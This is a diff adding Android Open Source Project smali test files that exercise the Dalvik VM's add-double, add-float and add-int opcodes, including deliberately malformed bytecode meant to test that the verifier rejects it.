+++ b/tools/vm-tests-tf/src/dot/junit/format/f1/d/T_f1_9.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_f1_9.java"
+.class  public Ldot/junit/format/f1/d/T_f1_9;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       nop
+       nop
+       nop
+       nop
+       const v2, 456
+       return-void
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_1.smali
new file mode 100644
index 0000000..53b8997
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_1.java"
+.class  public Ldot/junit/opcodes/add_double/d/T_add_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       add-double v0, v3, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_3.smali
new file mode 100644
index 0000000..85aae4d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_3.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_3.java"
+.class  public Ldot/junit/opcodes/add_double/d/T_add_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)D
+.registers 7
+
+       add-double v0, v3, v5
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_4.smali
new file mode 100644
index 0000000..02fafb6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_4.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_4.java"
+.class  public Ldot/junit/opcodes/add_double/d/T_add_double_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       add-double v0, v3, v2
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_5.smali
new file mode 100644
index 0000000..3a829fb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_5.java"
+.class  public Ldot/junit/opcodes/add_double/d/T_add_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       add-double v0, v3, v7
+       return-wide v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_6.smali
new file mode 100644
index 0000000..4e58842
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double/d/T_add_double_6.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_6.java"
+.class  public Ldot/junit/opcodes/add_double/d/T_add_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 7
+       move v0, v5
+       move v1, v5
+       move v2, v6    
+       move v3, v6    
+       add-double v0, v0, v2
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_1.smali
new file mode 100644
index 0000000..cc26343
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_1.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_2addr_1.java"
+.class  public Ldot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       add-double/2addr v3, v5
+       return-wide v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_3.smali
new file mode 100644
index 0000000..9b7605d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_3.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_2addr_3.java"
+.class  public Ldot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)D
+.registers 7
+
+       const-wide v2, 3.1415
+       add-double/2addr v2, v5
+       return-wide v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_4.smali
new file mode 100644
index 0000000..a496b62
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_4.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_2addr_4.java"
+.class  public Ldot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       add-double/2addr v3, v2
+       return-wide v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_5.smali
new file mode 100644
index 0000000..5435f4b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_2addr_5.java"
+.class  public Ldot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DD)D
+.registers 7
+
+       add-double/2addr v3, v7
+       return-wide v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_6.smali
new file mode 100644
index 0000000..19cc4ef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_6.smali

@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_double_2addr_6.java"
+.class  public Ldot/junit/opcodes/add_double_2addr/d/T_add_double_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)V
+.registers 7
+       move v0, v5
+          move v1, v5
+       move v2, v6
+          move v3, v6          
+       add-double/2addr v0, v2
+       return-void
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_1.smali
new file mode 100644
index 0000000..6a2b260
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_1.java"
+.class  public Ldot/junit/opcodes/add_float/d/T_add_float_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       add-float v0, v2, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_2.smali
new file mode 100644
index 0000000..5d9e1f0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2.java"
+.class  public Ldot/junit/opcodes/add_float/d/T_add_float_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       const-wide v0, 3.1415    
+       add-float v0, v3, v0
+       return v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_3.smali
new file mode 100644
index 0000000..db44515
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_3.java"
+.class  public Ldot/junit/opcodes/add_float/d/T_add_float_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       const-wide v0, 3141523
+       add-float v0, v0, v3
+       return v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_4.smali
new file mode 100644
index 0000000..8b09cbd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_4.java"
+.class  public Ldot/junit/opcodes/add_float/d/T_add_float_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       add-float v0, v2, v1
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_5.smali
new file mode 100644
index 0000000..7959c83
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_5.java"
+.class  public Ldot/junit/opcodes/add_float/d/T_add_float_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)F
+.registers 4
+       add-float v0, v2, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_6.smali
new file mode 100644
index 0000000..19ecf3e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float/d/T_add_float_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_6.java"
+.class  public Ldot/junit/opcodes/add_float/d/T_add_float_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       add-float v0, v2, v4
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_1.smali
new file mode 100644
index 0000000..c2647ae
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2addr_1.java"
+.class  public Ldot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       add-float/2addr v2, v3
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_2.smali
new file mode 100644
index 0000000..66c4d65
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_2.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2addr_2.java"
+.class  public Ldot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       const-wide v0, 3.1415    
+       add-float/2addr v3, v0
+       return v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_3.smali
new file mode 100644
index 0000000..2dbf80b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_3.smali

@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2addr_3.java"
+.class  public Ldot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       const-wide v0, 3141523
+       add-float/2addr v0, v3
+       return v3
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_4.smali
new file mode 100644
index 0000000..e21a5e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_4.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2addr_4.java"
+.class  public Ldot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       add-float/2addr v2, v1
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_5.smali
new file mode 100644
index 0000000..f0e04d5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_5.smali

@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2addr_5.java"
+.class  public Ldot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)F
+.registers 4
+       add-float/2addr v2, v3
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_6.smali
new file mode 100644
index 0000000..36d6ea8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_6.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_float_2addr_6.java"
+.class  public Ldot/junit/opcodes/add_float_2addr/d/T_add_float_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)F
+.registers 4
+
+       add-float/2addr v2, v4
+       return v2
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_1.smali
new file mode 100644
index 0000000..54cd6b0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_1.smali

@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_add_int_1.java"
+.class  public Ldot/junit/opcodes/add_int/d/T_add_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       add-int v0, v2, v3
+       return v0
+.end method
+
+

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_2.smali
new file mode 100644
index 0000000..8102974
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/add_int/d/T_add_int_2.smali

@@ -0,0 +1,35 @@
